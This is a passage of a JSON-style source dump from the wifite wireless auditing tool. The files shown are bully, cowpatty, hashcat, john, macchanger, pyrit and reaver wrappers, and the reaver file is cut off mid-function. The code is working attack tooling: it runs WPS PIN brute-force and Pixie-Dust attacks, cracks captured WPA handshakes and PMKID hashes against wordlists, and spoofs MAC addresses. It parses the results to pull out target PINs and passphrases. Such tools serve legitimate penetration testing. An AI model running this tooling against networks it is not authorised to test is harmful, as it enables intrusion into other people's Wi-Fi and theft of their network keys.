time_msg += ', {D}PINs Left:{W}{C}%d{W}' % self.pins_remaining\n        else:\n            time_msg += ', {D}PINs:{W}{C}%d{W}' % self.total_attempts\n\n        Color.clear_entire_line()\n        Color.pattack('WPS', self.target, attack_name,\n                '{W}[%s] %s' % (time_msg, message))\n\n        if newline:\n            Color.pl('')\n\n\n    def running_time(self):\n        return int(time.time() - self.start_time)\n\n\n    def get_status(self):\n        main_status = self.state\n\n        meta_statuses = []\n        if self.total_timeouts > 0:\n            meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)\n\n        if self.total_failures > 0:\n            meta_statuses.append('{O}Fails:%d{W}' % self.total_failures)\n\n        if self.locked:\n            meta_statuses.append('{R}Locked{W}')\n\n        if len(meta_statuses) > 0:\n            main_status += ' (%s)' % ', '.join(meta_statuses)\n\n        return main_status\n\n\n    def parse_line_thread(self):\n        for line in iter(self.bully_proc.pid.stdout.readline, b''):\n            if line == '': continue\n            line = line.decode('utf-8')\n            line = line.replace('\\r', '').replace('\\n', '').strip()\n\n            if Configuration.verbose > 1:\n                Color.pe('\\n{P} [bully:stdout] %s' % line)\n\n            self.state = self.parse_state(line)\n\n            self.crack_result = self.parse_crack_result(line)\n\n            if self.crack_result:\n                break\n\n\n    def parse_crack_result(self, line):\n        # Check for line containing PIN and PSK\n        # [*] Pin is '80246213', key is 'password'\n        pin_key_re = re.search(r\"Pin is '(\\d*)', key is '(.*)'\", line)\n        if pin_key_re:\n            self.cracked_pin = pin_key_re.group(1)\n            self.cracked_key = pin_key_re.group(2)\n\n        ###############\n        # Check for PIN\n        if self.cracked_pin is None:\n            #        PIN   : '80246213'\n            pin_re = re.search(r\"^\\s*PIN\\s*:\\s*'(.*)'\\s*$\", line)\n            if pin_re:\n                self.cracked_pin = pin_re.group(1)\n\n            # [Pixie-Dust] PIN FOUND: 01030365\n            pin_re = re.search(r\"^\\[Pixie-Dust\\] PIN FOUND: '?(\\d*)'?\\s*$\", line)\n            if pin_re:\n                self.cracked_pin = pin_re.group(1)\n\n            if self.cracked_pin is not None:\n                # Mention the PIN & that we're not done yet.\n                self.pattack('{G}Cracked PIN: {C}%s{W}' % self.cracked_pin, newline=True)\n\n                self.state = '{G}Finding Key...{C}'\n                time.sleep(2)\n\n        ###########################\n        #        KEY   : 'password'\n        key_re = re.search(r\"^\\s*KEY\\s*:\\s*'(.*)'\\s*$\", line)\n        if key_re:\n            self.cracked_key = key_re.group(1)\n\n        if not self.crack_result and self.cracked_pin and self.cracked_key:\n            self.pattack('{G}Cracked Key: {C}%s{W}' % self.cracked_key, newline=True)\n            self.crack_result = CrackResultWPS(\n                    self.target.bssid,\n                    self.target.essid,\n                    self.cracked_pin,\n                    self.cracked_key)\n            Color.pl('')\n            self.crack_result.dump()\n\n        return self.crack_result\n\n\n    def parse_state(self, line):\n        state = self.state\n\n        # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)\n        got_beacon = re.search(r\".*Got beacon for '(.*)' \\((.*)\\)\", line)\n        if got_beacon:\n            # group(1)=ESSID, group(2)=BSSID\n            state = 'Got beacon'\n\n        # [+] Last State = 'NoAssoc'   Next pin '48855501'\n        last_state = re.search(r\".*Last State = '(.*)'\\s*Next pin '(.*)'\", line)\n        if last_state:\n            # group(1)=NoAssoc, group(2)=PIN\n            pin = last_state.group(2)\n            if pin != self.last_pin:\n                self.last_pin = pin\n                self.total_attempts += 1\n                if self.pins_remaining > 0:\n                    self.pins_remaining -= 1\n            state = 'Trying PIN'\n\n        # [+] Tx( Auth ) = 'Timeout'   Next pin '80241263'\n        mx_result_pin = re.search(\n                r\".*[RT]x\\(\\s*(.*)\\s*\\) = '(.*)'\\s*Next pin '(.*)'\", line)\n        if mx_result_pin:\n            # group(1)=M1,M2,..,M7, group(2)=result, group(3)=Next PIN\n            self.locked = False\n            m_state = mx_result_pin.group(1)\n            result = mx_result_pin.group(2)  # NoAssoc, WPSFail, Pin1Bad, Pin2Bad\n            pin = mx_result_pin.group(3)\n            if pin != self.last_pin:\n                self.last_pin = pin\n                self.total_attempts += 1\n                if self.pins_remaining > 0:\n                    self.pins_remaining -= 1\n\n            if result in ['Pin1Bad', 'Pin2Bad']:\n                result = '{G}%s{W}' % result\n            elif result == 'Timeout':\n                self.total_timeouts += 1\n                result = '{O}%s{W}' % result\n            elif result == 'WPSFail':\n                self.total_failures += 1\n                result = '{O}%s{W}' % result\n            elif result == 'NoAssoc':\n                result = '{O}%s{W}' % result\n            else:\n                result = '{R}%s{W}' % result\n\n            result = '{P}%s{W}:%s' % (m_state.strip(), result.strip())\n            state = 'Trying PIN (%s)' % result\n\n        # [!] Run time 00:02:49, pins tested 32 (5.28 seconds per pin)\n        re_tested = re.search(r'Run time ([0-9:]+), pins tested ([0-9])+', line)\n        if re_tested:\n            # group(1)=01:23:45, group(2)=1234\n            self.total_attempts = int(re_tested.group(2))\n\n        #[!] Current rate 5.28 seconds per pin, 07362 pins remaining\n        re_remaining = re.search(r' ([0-9]+) pins remaining', line)\n        if re_remaining:\n            self.pins_remaining = int(re_remaining.group(1))\n\n        # [!] Average time to crack is 5 hours, 23 minutes, 55 seconds\n        re_eta = re.search(\n                r'time to crack is (\\d+) hours, (\\d+) minutes, (\\d+) seconds', line)\n        if re_eta:\n            h, m, s = re_eta.groups()\n            self.eta = '%sh%sm%ss' % (\n                    h.rjust(2, '0'), m.rjust(2, '0'), s.rjust(2, '0'))\n\n        # [!] WPS lockout reported, sleeping for 43 seconds ...\n        re_lockout = re.search(r\".*WPS lockout reported, sleeping for (\\d+) seconds\", line)\n        if re_lockout:\n            self.locked = True\n            sleeping = re_lockout.group(1)\n            state = '{R}WPS Lock-out: {O}Waiting %s seconds...{W}' % sleeping\n\n        # [Pixie-Dust] WPS pin not found\n        re_pin_not_found = re.search(r\".*\\[Pixie-Dust\\] WPS pin not found\", line)\n        if re_pin_not_found:\n            state = '{R}Failed: {O}Bully says \"WPS pin not found\"{W}'\n\n        # [+] Running pixiewps with the information, wait ...\n        re_running_pixiewps = re.search(r\".*Running pixiewps with the information\", line)\n        if re_running_pixiewps:\n            state = '{G}Running pixiewps...{W}'\n\n        return state\n\n\n    def stop(self):\n        if hasattr(self, 'pid') and self.pid and self.pid.poll() is None:\n            self.pid.interrupt()\n\n\n    def __del__(self):\n        self.stop()\n\n\n    @staticmethod\n    def get_psk_from_pin(target, pin):\n        # Fetches PSK from a Target assuming 'pin' is the correct PIN\n        '''\n        bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon\n        PIN   : '01030365'\n        KEY   : 'password'\n        BSSID : '34:21:09:01:92:7c'\n        ESSID : 'AirLink89300'\n        '''\n        cmd = [\n            'bully',\n            '--channel', target.channel,\n            '--bssid', target.bssid,\n            '--pin', pin,\n            '--bruteforce',\n            '--force',\n            Configuration.interface\n        ]\n\n        bully_proc = Process(cmd)\n\n        for line in bully_proc.stderr().split('\\n'):\n            key_re = re.search(r\"^\\s*KEY\\s*:\\s*'(.*)'\\s*$\", line)\n            if key_re is not None:\n                psk = key_re.group(1)\n                return psk\n\n        return None\n\n\nif __name__ == '__main__':\n    Configuration.initialize()\n    Configuration.interface = 'wlan0mon'\n    from ..model.target import Target\n    fields = '34:21:09:01:92:7C,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,AirLink89300,'.split(',')\n    target = Target(fields)\n    psk = Bully.get_psk_from_pin(target, '01030365')\n    print('psk', psk)\n\n    '''\n    stdout = \" [*] Pin is '11867722', key is '9a6f7997'\"\n    Configuration.initialize(False)\n    from ..model.target import Target\n    fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',')\n    target = Target(fields)\n    b = Bully(target)\n    b.parse_line(stdout)\n    '''\n"
  },
  {
    "path": "wifite/tools/cowpatty.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..config import Configuration\nfrom ..util.color import Color\nfrom ..util.process import Process\nfrom ..tools.hashcat import HcxPcapTool\n\nimport os\nimport re\n\n\nclass Cowpatty(Dependency):\n    ''' Wrapper for Cowpatty program. '''\n    dependency_required = False\n    dependency_name = 'cowpatty'\n    dependency_url = 'https://tools.kali.org/wireless-attacks/cowpatty'\n\n\n    @staticmethod\n    def crack_handshake(handshake, show_command=False):\n        # Crack john file\n        command = [\n            'cowpatty',\n            '-f', Configuration.wordlist,\n            '-r', handshake.capfile,\n            '-s', handshake.essid\n        ]\n        if show_command:\n            Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))\n        process = Process(command)\n        stdout, stderr = process.get_output()\n\n        key = None\n        for line in stdout.split('\\n'):\n            if 'The PSK is \"' in line:\n                key = line.split('\"', 1)[1][:-2]\n                break\n\n        return key\n"
  },
  {
    "path": "wifite/tools/dependency.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nclass Dependency(object):\n    required_attr_names = ['dependency_name', 'dependency_url', 'dependency_required']\n\n    # https://stackoverflow.com/a/49024227\n    def __init_subclass__(cls):\n        for attr_name in cls.required_attr_names:\n            if not attr_name in cls.__dict__:\n                raise NotImplementedError(\n                    'Attribute \"{}\" has not been overridden in class \"{}\"' \\\n                    .format(attr_name, cls.__name__)\n                )\n\n\n    @classmethod\n    def exists(cls):\n        from ..util.process import Process\n        return Process.exists(cls.dependency_name)\n\n\n    @classmethod\n    def run_dependency_check(cls):\n        from ..util.color import Color\n\n        from .airmon import Airmon\n        from .airodump import Airodump\n        from .aircrack import Aircrack\n        from .aireplay import Aireplay\n        from .ifconfig import Ifconfig\n        from .iwconfig import Iwconfig\n        from .bully import Bully\n        from .reaver import Reaver\n        from .wash import Wash\n        from .pyrit import Pyrit\n        from .tshark import Tshark\n        from .macchanger import Macchanger\n        from .hashcat import Hashcat, HcxDumpTool, HcxPcapTool\n\n        apps = [\n                # Aircrack\n                Aircrack, #Airodump, Airmon, Aireplay,\n                # wireless/net tools\n                Iwconfig, Ifconfig,\n                # WPS\n                Reaver, Bully,\n                # Cracking/handshakes\n                Pyrit, Tshark,\n                # Hashcat\n                Hashcat, HcxDumpTool, HcxPcapTool,\n                # Misc\n                Macchanger\n            ]\n\n        missing_required = any([app.fails_dependency_check() for app in apps])\n\n        if missing_required:\n            Color.pl('{!} {O}At least 1 Required app is missing. Wifite needs Required apps to run{W}')\n            import sys\n            sys.exit(-1)\n\n\n    @classmethod\n    def fails_dependency_check(cls):\n        from ..util.color import Color\n        from ..util.process import Process\n\n        if Process.exists(cls.dependency_name):\n            return False\n\n        if cls.dependency_required:\n            Color.p('{!} {O}Error: Required app {R}%s{O} was not found' % cls.dependency_name)\n            Color.pl('. {W}install @ {C}%s{W}' % cls.dependency_url)\n            return True\n\n        else:\n            Color.p('{!} {O}Warning: Recommended app {R}%s{O} was not found' % cls.dependency_name)\n            Color.pl('. {W}install @ {C}%s{W}' % cls.dependency_url)\n            return False\n"
  },
  {
    "path": "wifite/tools/hashcat.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..config import Configuration\nfrom ..util.process import Process\nfrom ..util.color import Color\n\nimport os\n\n\nclass Hashcat(Dependency):\n    dependency_required = False\n    dependency_name = 'hashcat'\n    dependency_url = 'https://hashcat.net/hashcat/'\n\n    @staticmethod\n    def should_use_force():\n        command = ['hashcat', '-I']\n        stderr = Process(command).stderr()\n        return 'No devices found/left' in stderr\n\n    @staticmethod\n    def crack_handshake(handshake, show_command=False):\n        # Generate hccapx\n        hccapx_file = HcxPcapTool.generate_hccapx_file(\n                handshake, show_command=show_command)\n\n        key = None\n        # Crack hccapx\n        for additional_arg in ([], ['--show']):\n            command = [\n                'hashcat',\n                '--quiet',\n                '-m', '2500',\n                hccapx_file,\n                Configuration.wordlist\n            ]\n            if Hashcat.should_use_force():\n                command.append('--force')\n            command.extend(additional_arg)\n            if show_command:\n                Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))\n            process = Process(command)\n            stdout, stderr = process.get_output()\n            if ':' not in stdout:\n                continue\n            else:\n                key = stdout.split(':', 5)[-1].strip()\n                break\n\n        if os.path.exists(hccapx_file):\n            os.remove(hccapx_file)\n\n        return key\n\n\n    @staticmethod\n    def crack_pmkid(pmkid_file, verbose=False):\n        '''\n        Cracks a given pmkid_file using the PMKID/WPA2 attack (-m 16800)\n        Returns:\n            Key (str) if found; `None` if not found.\n        '''\n\n        # Run hashcat once normally, then with --show if it failed\n        # To catch cases where the password is already in the pot file.\n        for additional_arg in ([], ['--show']):\n            command = [\n                'hashcat',\n                '--quiet',      # Only output the password if found.\n                '-m', '16800',  # WPA-PMKID-PBKDF2\n                '-a', '0',      # Wordlist attack-mode\n                pmkid_file,\n                Configuration.wordlist\n            ]\n            if Hashcat.should_use_force():\n                command.append('--force')\n            command.extend(additional_arg)\n            if verbose and additional_arg == []:\n                Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))\n\n            # TODO: Check status of hashcat (%); it's impossible with --quiet\n\n            hashcat_proc = Process(command)\n            hashcat_proc.wait()\n            stdout = hashcat_proc.stdout()\n\n            if ':' not in stdout:\n                # Failed\n                continue\n            else:\n                # Cracked\n                key = stdout.strip().split(':', 1)[1]\n                return key\n\n\nclass HcxDumpTool(Dependency):\n    dependency_required = False\n    dependency_name = 'hcxdumptool'\n    dependency_url = 'https://github.com/ZerBea/hcxdumptool'\n\n    def __init__(self, target, pcapng_file):\n        # Create filterlist\n        filterlist = Configuration.temp('pmkid.filterlist')\n        with open(filterlist, 'w') as filter_handle:\n            filter_handle.write(target.bssid.replace(':', ''))\n\n        if os.path.exists(pcapng_file):\n            os.remove(pcapng_file)\n\n        command = [\n            'hcxdumptool',\n            '-i', Configuration.interface,\n            '--filterlist', filterlist,\n            '--filtermode', '2',\n            '-c', str(target.channel),\n            '-o', pcapng_file\n        ]\n\n        self.proc = Process(command)\n\n    def poll(self):\n        return self.proc.poll()\n\n    def interrupt(self):\n        self.proc.interrupt()\n\n\nclass HcxPcapTool(Dependency):\n    dependency_required = False\n    dependency_name = 'hcxpcaptool'\n    dependency_url = 'https://github.com/ZerBea/hcxtools'\n\n    def __init__(self, target):\n        self.target = target\n        self.bssid = self.target.bssid.lower().replace(':', '')\n        self.pmkid_file = Configuration.temp('pmkid-%s.16800' % self.bssid)\n\n    @staticmethod\n    def generate_hccapx_file(handshake, show_command=False):\n        hccapx_file = Configuration.temp('generated.hccapx')\n        if os.path.exists(hccapx_file):\n            os.remove(hccapx_file)\n\n        command = [\n            'hcxpcaptool',\n            '-o', hccapx_file,\n            handshake.capfile\n        ]\n\n        if show_command:\n            Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))\n\n        process = Process(command)\n        stdout, stderr = process.get_output()\n        if not os.path.exists(hccapx_file):\n            raise ValueError('Failed to generate .hccapx file, output: \\n%s\\n%s' % (\n                stdout, stderr))\n\n        return hccapx_file\n\n    @staticmethod\n    def generate_john_file(handshake, show_command=False):\n        john_file = Configuration.temp('generated.john')\n        if os.path.exists(john_file):\n            os.remove(john_file)\n\n        command = [\n            'hcxpcaptool',\n            '-j', john_file,\n            handshake.capfile\n        ]\n\n        if show_command:\n            Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))\n\n        process = Process(command)\n        stdout, stderr = process.get_output()\n        if not os.path.exists(john_file):\n            raise ValueError('Failed to generate .john file, output: \\n%s\\n%s' % (\n                stdout, stderr))\n\n        return john_file\n\n    def get_pmkid_hash(self, pcapng_file):\n        if os.path.exists(self.pmkid_file):\n            os.remove(self.pmkid_file)\n\n        command = [\n            'hcxpcaptool',\n            '-z', self.pmkid_file,\n            pcapng_file\n        ]\n        hcxpcap_proc = Process(command)\n        hcxpcap_proc.wait()\n\n        if not os.path.exists(self.pmkid_file):\n            return None\n\n        with open(self.pmkid_file, 'r') as f:\n            output = f.read()\n            # Each line looks like:\n            # hash*bssid*station*essid\n\n        # Note: The dumptool will record *anything* it finds, ignoring the filterlist.\n        # Check that we got the right target (filter by BSSID)\n        matching_pmkid_hash = None\n        for line in output.split('\\n'):\n            fields = line.split('*')\n            if len(fields) >= 3 and fields[1].lower() == self.bssid:\n                # Found it\n                matching_pmkid_hash = line\n                break\n\n        os.remove(self.pmkid_file)\n        return matching_pmkid_hash\n"
  },
  {
    "path": "wifite/tools/ifconfig.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport re\n\nfrom .dependency import Dependency\n\nclass Ifconfig(Dependency):\n    dependency_required = True\n    dependency_name = 'ifconfig'\n    dependency_url = 'apt-get install net-tools'\n\n    @classmethod\n    def up(cls, interface, args=[]):\n        '''Put interface up'''\n        from ..util.process import Process\n\n        command = ['ifconfig', interface]\n        if type(args) is list:\n            command.extend(args)\n        elif type(args) is 'str':\n            command.append(args)\n        command.append('up')\n\n        pid = Process(command)\n        pid.wait()\n        if pid.poll() != 0:\n            raise Exception('Error putting interface %s up:\\n%s\\n%s' % (interface, pid.stdout(), pid.stderr()))\n\n\n    @classmethod\n    def down(cls, interface):\n        '''Put interface down'''\n        from ..util.process import Process\n\n        pid = Process(['ifconfig', interface, 'down'])\n        pid.wait()\n        if pid.poll() != 0:\n            raise Exception('Error putting interface %s down:\\n%s\\n%s' % (interface, pid.stdout(), pid.stderr()))\n\n\n    @classmethod\n    def get_mac(cls, interface):\n        from ..util.process import Process\n\n        output = Process(['ifconfig', interface]).stdout()\n\n        # Mac address separated by dashes\n        mac_dash_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]\n        match = re.search(' ({})'.format(mac_dash_regex), output)\n        if match:\n            return match.group(1).replace('-', ':')\n\n        # Mac address separated by colons\n        mac_colon_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]\n        match = re.search(' ({})'.format(mac_colon_regex), output)\n        if match:\n            return match.group(1)\n\n        raise Exception('Could not find the mac address for %s' % interface)\n\n"
  },
  {
    "path": "wifite/tools/iwconfig.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\n\nclass Iwconfig(Dependency):\n    dependency_required = True\n    dependency_name = 'iwconfig'\n    dependency_url = 'apt-get install wireless-tools'\n\n\n    @classmethod\n    def mode(cls, iface, mode_name):\n        from ..util.process import Process\n\n        pid = Process(['iwconfig', iface, 'mode', mode_name])\n        pid.wait()\n\n        return pid.poll()\n\n\n    @classmethod\n    def get_interfaces(cls, mode=None):\n        from ..util.process import Process\n\n        interfaces = set()\n        iface = ''\n\n        (out, err) = Process.call('iwconfig')\n        for line in out.split('\\n'):\n            if len(line) == 0: continue\n\n            if not line.startswith(' '):\n                iface = line.split(' ')[0]\n                if '\\t' in iface:\n                    iface = iface.split('\\t')[0].strip()\n\n                iface = iface.strip()\n                if len(iface) == 0:\n                    continue\n\n                if mode is None:\n                    interfaces.add(iface)\n\n            if mode is not None and 'Mode:{}'.format(mode) in line and len(iface) > 0:\n                interfaces.add(iface)\n\n        return list(interfaces)\n\n"
  },
  {
    "path": "wifite/tools/john.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..config import Configuration\nfrom ..util.color import Color\nfrom ..util.process import Process\nfrom ..tools.hashcat import HcxPcapTool\n\nimport os\n\n\nclass John(Dependency):\n    ''' Wrapper for John program. '''\n    dependency_required = False\n    dependency_name = 'john'\n    dependency_url = 'http://www.openwall.com/john/'\n\n\n    @staticmethod\n    def crack_handshake(handshake, show_command=False):\n        john_file = HcxPcapTool.generate_john_file(handshake, show_command=show_command)\n\n        # Use `john --list=formats` to find if OpenCL or CUDA is supported.\n        formats_stdout = Process(['john', '--list=formats']).stdout()\n        if 'wpapsk-opencl' in formats_stdout:\n            john_format = 'wpapsk-opencl'\n        elif 'wpapsk-cuda' in formats_stdout:\n            john_format = 'wpapsk-cuda'\n        else:\n            john_format = 'wpapsk'\n\n        # Crack john file\n        command = [\n            'john',\n            '--format=%s' % john_format,\n            '--wordlist', Configuration.wordlist,\n            john_file\n        ]\n\n        if show_command:\n            Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))\n        process = Process(command)\n        process.wait()\n\n        # Run again with --show to consistently get the password\n        command = ['john', '--show', john_file]\n        if show_command:\n            Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))\n        process = Process(command)\n        stdout, stderr = process.get_output()\n\n        # Parse password (regex doesn't work for some reason)\n        if '0 password hashes cracked' in stdout:\n            key = None\n        else:\n            for line in stdout.split('\\n'):\n                if handshake.capfile in line:\n                    key = line.split(':')[1]\n                    break\n\n        if os.path.exists(john_file):\n            os.remove(john_file)\n\n        return key\n"
  },
  {
    "path": "wifite/tools/macchanger.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..tools.ifconfig import Ifconfig\nfrom ..util.color import Color\n\nclass Macchanger(Dependency):\n    dependency_required = False\n    dependency_name = 'macchanger'\n    dependency_url = 'apt-get install macchanger'\n\n    is_changed = False\n\n    @classmethod\n    def down_macch_up(cls, iface, options):\n        '''Put interface down, run macchanger with options, put interface up'''\n        from ..util.process import Process\n\n        Color.clear_entire_line()\n        Color.p('\\r{+} {C}macchanger{W}: taking interface {C}%s{W} down...' % iface)\n\n        Ifconfig.down(iface)\n\n        Color.clear_entire_line()\n        Color.p('\\r{+} {C}macchanger{W}: changing mac address of interface {C}%s{W}...' % iface)\n\n        command = ['macchanger']\n        command.extend(options)\n        command.append(iface)\n        macch = Process(command)\n        macch.wait()\n        if macch.poll() != 0:\n            Color.pl('\\n{!} {R}macchanger{O}: error running {R}%s{O}' % ' '.join(command))\n            Color.pl('{!} {R}output: {O}%s, %s{W}' % (macch.stdout(), macch.stderr()))\n            return False\n\n        Color.clear_entire_line()\n        Color.p('\\r{+} {C}macchanger{W}: bringing interface {C}%s{W} up...' % iface)\n\n        Ifconfig.up(iface)\n\n        return True\n\n\n    @classmethod\n    def get_interface(cls):\n        # Helper method to get interface from configuration\n        from ..config import Configuration\n        return Configuration.interface\n\n\n    @classmethod\n    def reset(cls):\n        iface = cls.get_interface()\n        Color.pl('\\r{+} {C}macchanger{W}: resetting mac address on %s...' % iface)\n        # -p to reset to permanent MAC address\n        if cls.down_macch_up(iface, ['-p']):\n            new_mac = Ifconfig.get_mac(iface)\n\n            Color.clear_entire_line()\n            Color.pl('\\r{+} {C}macchanger{W}: reset mac address back to {C}%s{W} on {C}%s{W}' % (new_mac, iface))\n\n\n    @classmethod\n    def random(cls):\n        from ..util.process import Process\n        if not Process.exists('macchanger'):\n            Color.pl('{!} {R}macchanger: {O}not installed')\n            return\n\n        iface = cls.get_interface()\n        Color.pl('\\n{+} {C}macchanger{W}: changing mac address on {C}%s{W}' % iface)\n\n        # -r to use random MAC address\n        # -e to keep vendor bytes the same\n        if cls.down_macch_up(iface, ['-e']):\n            cls.is_changed = True\n            new_mac = Ifconfig.get_mac(iface)\n\n            Color.clear_entire_line()\n            Color.pl('\\r{+} {C}macchanger{W}: changed mac address to {C}%s{W} on {C}%s{W}' % (new_mac, iface))\n\n\n    @classmethod\n    def reset_if_changed(cls):\n        if cls.is_changed:\n            cls.reset()\n\n"
  },
  {
    "path": "wifite/tools/pyrit.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..util.process import Process\nimport re\n\nclass Pyrit(Dependency):\n    ''' Wrapper for Pyrit program. '''\n    dependency_required = False\n    dependency_name = 'pyrit'\n    dependency_url = 'https://github.com/JPaulMora/Pyrit/wiki'\n\n    def __init__(self):\n        pass\n\n\n    @staticmethod\n    def bssid_essid_with_handshakes(capfile, bssid=None, essid=None):\n        if not Pyrit.exists():\n            return []\n\n        command = [\n            'pyrit',\n            '-r', capfile,\n            'analyze'\n        ]\n        pyrit = Process(command, devnull=False)\n\n        current_bssid = current_essid = None\n        bssid_essid_pairs = set()\n\n        '''\n        #1: AccessPoint 18:a6:f7:31:d2:06 ('TP-LINK_D206'):\n          #1: Station 08:66:98:b2:ab:28, 1 handshake(s):\n              #1: HMAC_SHA1_AES, good, spread 1\n                #2: Station ac:63:be:3a:a2:f4\n        '''\n\n        for line in pyrit.stdout().split('\\n'):\n            mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]\n            match = re.search(\"^#\\d+: AccessPoint (%s) \\('(.*)'\\):$\" % (mac_regex), line)\n            if match:\n                # We found a new BSSID and ESSID\n                (current_bssid, current_essid) = match.groups()\n\n                if bssid is not None and bssid.lower() != current_bssid:\n                    current_bssid = None\n                    current_essid = None\n                elif essid is not None and essid != current_essid:\n                    current_bssid = None\n                    current_essid = None\n\n            elif current_bssid is not None and current_essid is not None:\n                # We hit an AP that we care about.\n                # Line does not contain AccessPoint, see if it's 'good'\n                if ', good' in line:\n                    bssid_essid_pairs.add( (current_bssid, current_essid) )\n\n        return list(bssid_essid_pairs)\n"
  },
  {
    "path": "wifite/tools/reaver.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom .airodump import Airodump\nfrom .bully import Bully # for PSK retrieval\nfrom ..model.attack import Attack\nfrom ..config import Configuration\nfrom ..model.wps_result import CrackResultWPS\nfrom ..util.color import Color\nfrom ..util.process import Process\nfrom ..util.timer import Timer\n\nimport os, time, re\n\nclass Reaver(Attack, Dependency):\n    dependency_required = False\n    dependency_name = 'reaver'\n    dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'\n\n    def __init__(self, target, pixie_dust=True):\n        super(Reaver, self).__init__(target)\n\n        self.pixie_dust = pixie_dust\n\n        self.progress = '0.00%'\n        self.state = 'Initializing'\n        self.locked = False\n        self.total_attempts = 0\n        self.total_timeouts = 0\n        self.total_wpsfails = 0\n        self.last_pins = set()\n        self.last_line_number = 0\n\n        self.crack_result = None\n\n        self.output_filename = Configuration.temp('reaver.out')\n        if os.path.exists(self.output_filename):\n            os.remove(self.output_filename)\n\n        self.output_write = open(self.output_filename, 'a')\n\n        self.reaver_cmd = [\n            'reaver',\n            '--interface',  Configuration.interface,\n            '--bssid',      self.target.bssid,\n            '--channel',    self.target.channel,\n            '-vv'\n        ]\n\n        if pixie_dust:\n            self.reaver_cmd.extend(['--pixie-dust', '1'])\n\n        self.reaver_proc = None\n\n    @staticmethod\n    def is_pixiedust_supported():\n        ''' Checks if 'reaver' supports WPS Pixie-Dust attack '''\n        output = Process(['reaver', '-h']).stderr()\n        return '--pixie-dust' in output\n\n    def run(self):\n        ''' Returns True if attack is successful. '''\n        try:\n            self._run() # Run-loop\n        except Exception as e:\n            # Failed with error\n            self.pattack('{R}Failed:{O} %s' % str(e), newline=True)\n            return self.crack_result is not None\n\n        # Stop reaver if it's still running\n        if self.reaver_proc.poll() is None:\n            self.reaver_proc.interrupt()\n\n        # Clean up open file handle\n        if self.output_write:\n            self.output_write.close()\n\n        return self.crack_result is not None\n\n\n    def _run(self):\n        self.start_time = time.time()\n\n        with Airodump(channel=self.target.channel,\n                      target_bssid=self.target.bssid,\n                      skip_wps=True,\n                      output_file_prefix='pixie') as airodump:\n\n            # Wait for target\n            self.pattack('Waiting for target to appear...')\n            self.target = self.wait_for_target(airodump)\n\n            # Start reaver\n            self.reaver_proc = Process(self.reaver_cmd,\n                    stdout=self.output_write,\n                    stderr=Process.devnull())\n            # Say \"yes\" if asked to restore session.\n            self.reaver_proc.stdin('y\\n')\n\n            # Loop while reaver is running\n            while self.crack_result is None and self.reaver_proc.poll() is None:\n\n                # Refresh target information (power)\n                self.target = self.wait_for_target(airodump)\n\n                # Update based on reaver output\n                stdout = self.get_output()\n                self.state = self.parse_state(stdout)\n                self.parse_failure(stdout)\n\n                # Print status line\n                self.pattack(self.get_status())\n\n                # Check if we cracked it\n                self.crack_result = self.parse_crack_result(stdout)\n\n                # Check if locked\n                if self.locked and not Configuration.wps_ignore_lock:\n                    raise Exception('{O}Access point is {R}Locked{W}')\n\n                time.sleep(0.5)\n\n            # Check if crack result is in output\n            stdout = self.get_output()\n            self.crack_result = self.parse_crack_result(stdout)\n\n            # Show any failures found\n            if self.crack_result is None:\n                self.parse_failure(stdout)\n\n            if self.crack_result is None and self.reaver_proc.poll() is not None:\n                raise Exception('Reaver process stopped (exit code: %s)' % self.reaver_proc.poll())\n\n\n    def get_status(self):\n        if self.pixie_dust:\n            main_status = ''\n        else:\n            # Include percentage\n            main_status = '({G}%s{W}) ' % self.progress\n\n        # Current state (set in parse_* methods)\n        main_status += self.state\n\n        # Counters, timeouts, failures, locked.\n        meta_statuses = []\n\n        if self.total_timeouts > 0:\n            meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)\n\n        if self.total_wpsfails > 0:\n            meta_statuses.append('{O}Fails:%d{W}' % self.total_wpsfails)\n\n        if self.locked:\n            meta_statuses.append('{R}Locked{W}')\n\n        if len(meta_statuses) > 0:\n            main_status += ' (%s)' % ', '.join(meta_statuses)\n\n        return main_status\n\n\n    def parse_crack_result(self, stdout):\n        if self.crack_result is not None:\n            return self.crack_result\n\n        (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)\n\n        # Check if we cracked it, or if process stopped.\n        if pin is not None:\n            # We cracked it.\n\n            if psk is not None:\n                # Reaver provided PSK\n                self.pattack('{G}Cracked WPS PIN: {C}%s{W} {G}PSK: {C}%s{W}' % (pin, psk), newline=True)\n            else:\n                self.pattack('{G}Cracked WPS PIN: {C}%s' % pin, 